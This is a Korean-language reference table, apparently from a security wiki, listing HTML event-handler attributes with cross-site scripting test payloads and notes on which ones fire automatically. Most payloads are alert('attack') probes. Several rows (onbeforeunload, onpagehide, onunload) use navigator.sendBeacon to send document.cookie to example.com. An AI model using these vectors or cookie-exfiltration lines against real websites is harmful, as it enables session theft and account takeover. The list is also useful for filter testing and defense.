| 속성 | 예시 | 비고 |
|---|---|---|
| onabort | - | 강제 중단/취소 |
| onactivate 1) 2) | - | |
| onafterprint 3) | <body onafterprint="alert('attack')"> </body> <frameset onafterprint="alert('attack')"> </frameset> | 인쇄 후 - 인쇄 - 취소 |
| onafterscriptexecute 4) 5) | - | |
| onafterupdate 6) | - | |
| onanimationcancel 7) | - | 강제 중단/취소 |
| onanimationend 8) | <span onanimationend="alert('attack')" style="animation:progress-bar-stripes 1s"> </span> | 애니메이션 종료 - 자동 실행 9) |
| onanimationiteration 10) | <span onanimationiteration="alert('attack')" style="animation:progress-bar-stripes 1s infinite"> </span> | 애니메이션 반복 - 자동 실행 11) |
| onanimationstart 12) | <span onanimationstart="alert('attack')" style="animation:progress-bar-stripes 1s"> </span> | 애니메이션 시작 - 자동 실행 13) |
| onappinstalled 14) 15) | <body onappinstalled="alert('attack')"> </body> | PWA 설치 성공 시 |
| onauxclick 16) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onauxclick="alert('attack')"> | (영역 내) 떼는 순간 - 좌클릭 이외 |
| onbeforeactivate 17) 18) | - | |
| onbeforecopy 19) | <span onbeforecopy="alert('attack')"> Ctrl + C </span> | 복사 시작 시 |
| onbeforecut 20) | <span onbeforecut="alert('attack')"> Ctrl + X </span> | 잘라내기 시작 시 |
| onbeforedeactivate 21) 22) | - | |
| onbeforeeditfocus 23) 24) | - | |
| onbeforeinput | <input onbeforeinput="alert('attack')"> | 입력 직전 |
| onbeforeinstallprompt 25) 26) | <body onbeforeinstallprompt="alert('attack')"> </body> | PWA 설치 가능 시 |
| onbeforematch | - | |
| onbeforepaste 27) | - | 붙여넣기 시작 시 |
| onbeforeprint 28) | <body onbeforeprint="alert('attack')"> </body> <frameset onbeforeprint="alert('attack')"> </frameset> | 인쇄 전 |
| onbeforescriptexecute 29) 30) | - | |
| onbeforetoggle 31) | - | |
| onbeforeunload 32) | <body onbeforeunload="navigator.sendBeacon ('https://example.com', document.cookie)"> </body> <frameset onbeforeunload="navigator.sendBeacon ('https://example.com', document.cookie)"> </frameset> | 페이지 이탈 시 |
| onbeforeupdate 33) | - | |
| onbegin 34) | <svg width="0" height="0"> <animate onbegin="alert('attack')"> </svg> | 애니메이션 시작 - 자동 실행 |
| onblur 35) | <input onblur="alert('attack')"> | 포커스 이탈 시 |
| onbounce 36) 37) | - | |
| oncancel 38) | - | |
| oncanplay 39) 40) | <video src="https://wiki.jobdeveloper.co.kr/logo.mp4" width="0" height="0" oncanplay="alert('attack')"> | 미디어 로딩 과정 41) - 자동 실행 |
| oncanplaythrough 42) 43) | <video src="https://wiki.jobdeveloper.co.kr/logo.mp4" width="0" height="0" oncanplaythrough="alert('attack')"> | 미디어 로딩 과정 44) - 자동 실행 |
| oncellchange 45) | - | |
| onchange 46) | <input onchange="alert('attack')"> | 1) 값 변경 2) 포커스 이탈 시 |
| onchargingchange 47) | - | |
| onclick 48) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onclick="alert('attack')"> <button type="button" onclick="alert('attack')"> Enter 또는 Space </button> | (영역 내) 클릭 Enter 또는 Space |
| onclose 49) | - | |
| oncontentvisibilityautostatechange | <span oncontentvisibilityautostatechange="alert('attack')" style="content-visibility:auto"> </span> | content-visibility:auto - 자동 실행 |
| oncontextlost 50) | - | |
| oncontextmenu 51) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" oncontextmenu="alert('attack')"> <button type="button" oncontextmenu="alert('attack')"> Shift + F10 </button> | (영역 내) 우클릭 Shift + F10 |
| oncontextrestored 52) | - | |
| oncontrolselect 53) | - | |
| oncopy 54) | <span oncopy="alert('attack')"> Ctrl + C </span> | 복사 실행 시 |
| oncuechange 55) | - | |
| oncut 56) | <span oncut="alert('attack')"> Ctrl + X </span> | 잘라내기 실행 시 |
| ondblclick 57) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" ondblclick="alert('attack')"> | (영역 내) 더블클릭 |
| ondeactivate 58) 59) | - | |
| ondevicechange 60) | - | |
| ondevicemotion 61) | - | |
| ondeviceorientation 62) | - | |
| ondeviceorientationabsolute 63) | - | |
| ondrag 64) | - | |
| ondragend 65) | - | |
| ondragenter 66) | - | |
| ondragleave 67) | - | |
| ondragover 68) | - | |
| ondragstart 69) | - | |
| ondrop 70) | - | |
| ondurationchange 71) 72) | <video src="https://wiki.jobdeveloper.co.kr/logo.mp4" width="0" height="0" ondurationchange="alert('attack')"> | 미디어 로딩 과정 73) - 자동 실행 |
| onemptied 74) 75) | - | 미디어 소스 초기화 |
| onend 76) | <svg width="0" height="0"> <animate onend="alert('attack')" dur="1s"> </svg> | 애니메이션 종료 - 자동 실행 |
| onended 77) 78) | - | 재생 종료 |
| onerror | <img src="" onerror="alert('attack')"> | 로드 실패 - 자동 실행 |
| onerrorupdate 79) | - | |
| onfilterchange 80) | - | |
| onfinish 81) 82) | - | |
| onfocus 83) | <input onfocus="alert('attack')"> | 포커스 진입 시 |
| onfocusin 84) | <input onfocusin="alert('attack')"> | 포커스 진입 시 |
| onfocusout 85) | <input onfocusout="alert('attack')"> | 포커스 이탈 시 |
| onformchange | - | 1) 값 변경 2) 포커스 이탈 시 |
| onformdata 86) | - | |
| onforminput | - | 입력 직후 |
| onfreeze 87) | - | |
| onfscommand 88) 89) | - | |
| onfullscreenchange | - | 전체 화면 변경 |
| onfullscreenerror | - | 전체 화면 오류 |
| ongamepadconnected 90) | - | |
| ongamepaddisconnected 91) | - | |
| ongotpointercapture 92) | - | 제어권 획득 |
| onhashchange | - | 해시 부분(#) 변경 |
| onhelp 93) | - | |
| oninput | <input oninput="alert('attack')"> | 입력 직후 |
| oninvalid 94) | <form> <input required oninvalid="alert('attack')"> </form> | 유효성 |
| onkeydown 95) | <input onkeydown="alert('attack')"> | (키) 누르는 순간 |
| onkeypress 96) | - | |
| onkeyup 97) | <input onkeyup="alert('attack')"> | (키) 떼는 순간 |
| onlanguagechange 98) 99) | <body onlanguagechange="alert('attack')"> </body> | 브라우저 설정 - 언어 추가/삭제/이동 - 이 언어로 표시 |
| onlayoutcomplete 100) | - | |
| onlevelchange 101) | - | |
| onload | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onload="alert('attack')"> | 로드 완료 - 자동 실행 |
| onloadeddata 102) 103) | <video src="https://wiki.jobdeveloper.co.kr/logo.mp4" width="0" height="0" onloadeddata="alert('attack')"> | 미디어 로딩 과정 104) - 자동 실행 |
| onloadedmetadata 105) 106) | <video src="https://wiki.jobdeveloper.co.kr/logo.mp4" width="0" height="0" onloadedmetadata="alert('attack')"> | 미디어 로딩 과정 107) - 자동 실행 |
| onloadstart 108) 109) | <video src="https://wiki.jobdeveloper.co.kr/logo.mp4" width="0" height="0" onloadstart="alert('attack')"> | 미디어 로딩 과정 110) - 자동 실행 |
| onlostpointercapture 111) | - | 제어권 상실 |
| onmessage 112) | - | |
| onmessageerror 113) | - | |
| onmousedown 114) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onmousedown="alert('attack')"> | (영역 내) 누르는 순간 |
| onmouseenter 115) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onmouseenter="alert('attack')"> | (영역 내) 진입 시 |
| onmouseleave 116) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onmouseleave="alert('attack')"> | (영역 내) 이탈 시 |
| onmousemove 117) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onmousemove="alert('attack')"> | (영역 내) 이동 시 |
| onmouseout 118) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onmouseout="alert('attack')"> | (영역 내) 이탈 시 |
| onmouseover 119) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onmouseover="alert('attack')"> | (영역 내) 진입 시 |
| onmouseup 120) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onmouseup="alert('attack')"> | (영역 내) 떼는 순간 |
| onmousewheel 121) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onmousewheel="alert('attack')"> | (영역 내) 휠 스크롤 |
| onmove 122) | - | |
| onmoveend 123) | - | |
| onmovestart 124) | - | |
| onmozfullscreenchange 125) | - | 전체 화면 변경 |
| onmozfullscreenerror 126) | - | 전체 화면 오류 |
| onoffline 127) | - | 온라인 → 오프라인 |
| ononline 128) | - | 오프라인 → 온라인 |
| onorientationchange 129) | <body onorientationchange="alert('attack')"> </body> | 화면 회전 |
| onpagehide 130) | <body onpagehide="navigator.sendBeacon ('https://example.com', document.cookie)"> </body> <frameset onpagehide="navigator.sendBeacon ('https://example.com', document.cookie)"> </frameset> | 페이지 이탈 시 |
| onpageshow 131) | <body onpageshow="alert('attack')"> </body> <frameset onpageshow="alert('attack')"> </frameset> | 페이지 진입 시 |
| onpaste 132) | <span onpaste="alert('attack')"> Ctrl + V </span> | 붙여넣기 실행 시 |
| onpause 133) 134) | - | 재생 일시중지 |
| onplay 135) 136) | - | 재생 시작 |
| onplaying 137) 138) | - | 재생 시작 성공 |
| onpointercancel 139) | - | 강제 중단/취소 |
| onpointerdown 140) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onpointerdown="alert('attack')"> | (영역 내) 누르는 순간 |
| onpointerenter 141) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onpointerenter="alert('attack')"> | (영역 내) 진입 시 |
| onpointerleave 142) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onpointerleave="alert('attack')"> | (영역 내) 이탈 시 |
| onpointermove 143) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onpointermove="alert('attack')"> | (영역 내) 이동 시 |
| onpointerout 144) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onpointerout="alert('attack')"> | (영역 내) 이탈 시 |
| onpointerover 145) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onpointerover="alert('attack')"> | (영역 내) 진입 시 |
| onpointerrawupdate 146) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onpointerrawupdate="alert('attack')"> | (영역 내) 이동 시 |
| onpointerup 147) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onpointerup="alert('attack')"> | (영역 내) 떼는 순간 |
| onpopstate | - | 뒤로가기 |
| onpresentationconnectionavailable 148) | - | |
| onprogress 149) 150) | <video src="https://wiki.jobdeveloper.co.kr/logo.mp4" width="0" height="0" onprogress="alert('attack')"> | 미디어 로딩 과정 151) - 자동 실행 |
| onpropertychange 152) | - | |
| onratechange 153) 154) | - | 재생 속도 변경 |
| onreadystatechange 155) | - | |
| onrejectionhandled 156) | - | |
| onrepeat 157) | <svg width="0" height="0"> <animate onrepeat="alert('attack')" dur="1s" repeatCount="2"> </svg> <svg width="0" height="0"> <animate onrepeat="alert('attack')" dur="1s" repeatCount="indefinite"> </svg> | 애니메이션 반복 - 자동 실행 |
| onreset 158) | - | |
| onresize 159) | <body onresize="alert('attack')"> </body> <frameset onresize="alert('attack')"> </frameset> <svg width="0" height="0" onresize="alert('attack')"> </svg> | 창 크기 변경 |
| onresume 160) | - | |
| onrowenter 161) | - | |
| onrowexit 162) | - | |
| onrowsdelete 163) | - | |
| onrowsinserted 164) | - | |
| onscroll | - | 스크롤 시 |
| onscrollend | - | 스크롤 정지 시 |
| onscrollsnapchange | <div style="scroll-snap-type:y mandatory; overflow:scroll; height:1px" onscrollsnapchange="alert('attack')"> <div style="scroll-snap-align:start; height:1px"> </div> <div style="scroll-snap-align:start; height:1px"> </div> </div> | 스냅 대상 변경 완료 - 자동 실행 |
| onscrollsnapchanging | - | 스냅 대상 변경 중 |
| onsearch 165) | <input type="search" onsearch="alert('attack')"> | Enter 또는 x |
| onsecuritypolicyviolation | - | |
| onseeked 166) 167) | - | 재생 위치 변경 완료 |
| onseeking 168) 169) | - | 재생 위치 변경 중 |
| onselect 170) | <input onselect="alert('attack')"> | 텍스트 선택 시 |
| onselectionchange | - | |
| onselectstart | <span onselectstart ="alert('attack')"> 텍스트 </span> | 드래그 시작 시 |
| onshow 171) | - | |
| onslotchange | - | |
| onstalled 172) 173) | - | 미디어 로딩 중단 |
| onstart 174) 175) | - | |
| onstop 176) | - | |
| onstorage 177) | - | |
| onsubmit 178) | - | |
| onsuspend 179) 180) | - | 미디어 로딩 일시중단 |
| ontimeupdate 181) 182) | - | 재생 시간 변경 |
| ontoggle 183) | - | |
| ontouchcancel 184) | - | 강제 중단/취소 |
| ontouchend 185) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" ontouchend="alert('attack')"> | (영역 내) 떼는 순간 |
| ontouchmove 186) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" ontouchmove="alert('attack')"> | (영역 내) 이동 시 |
| ontouchstart 187) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" ontouchstart="alert('attack')"> | (영역 내) 누르는 순간 |
| ontransitioncancel 188) | - | |
| ontransitionend 189) | - | |
| ontransitionrun 190) | - | |
| ontransitionstart 191) | - | |
| onunhandledrejection 192) | - | |
| onunload 193) | <body onunload="navigator.sendBeacon ('https://example.com', document.cookie)"> </body> <frameset onunload="navigator.sendBeacon ('https://example.com', document.cookie)"> </frameset> | 페이지 이탈 시 |
| onvisibilitychange | - | |
| onvolumechange 194) 195) | - | 재생 볼륨 변경 |
| onvrdisplayactivate 196) | - | |
| onvrdisplaydeactivate 197) | - | |
| onwaiting 198) 199) | - | 재생 버퍼링 발생 |
| onwebkitanimationcancel 200) | - | |
| onwebkitanimationend 201) | - | |
| onwebkitanimationiteration 202) | - | |
| onwebkitanimationstart 203) | - | |
| onwebkitcurrentplaybacktargetisitemcontainerchange 204) | - | |
| onwebkitfullscreenchange 205) | - | 전체 화면 변경 |
| onwebkitfullscreenerror 206) | - | 전체 화면 오류 |
| onwebkitmouseforcechanged 207) | - | |
| onwebkitmouseforcedown 208) | - | |
| onwebkitmouseforceup 209) | - | |
| onwebkitmouseforcewillbegin 210) | - | |
| onwebkittransitioncancel 211) | - | |
| onwebkittransitionend 212) | - | |
| onwebkittransitionrun 213) | - | |
| onwebkittransitionstart 214) | - | |
| onwebkitwillrevealbottom 215) | - | |
| onwheel 216) | <img src="https://wiki.jobdeveloper.co.kr/logo.png" onwheel="alert('attack')"> | (영역 내) 휠 스크롤 |
| onzoom 217) | - |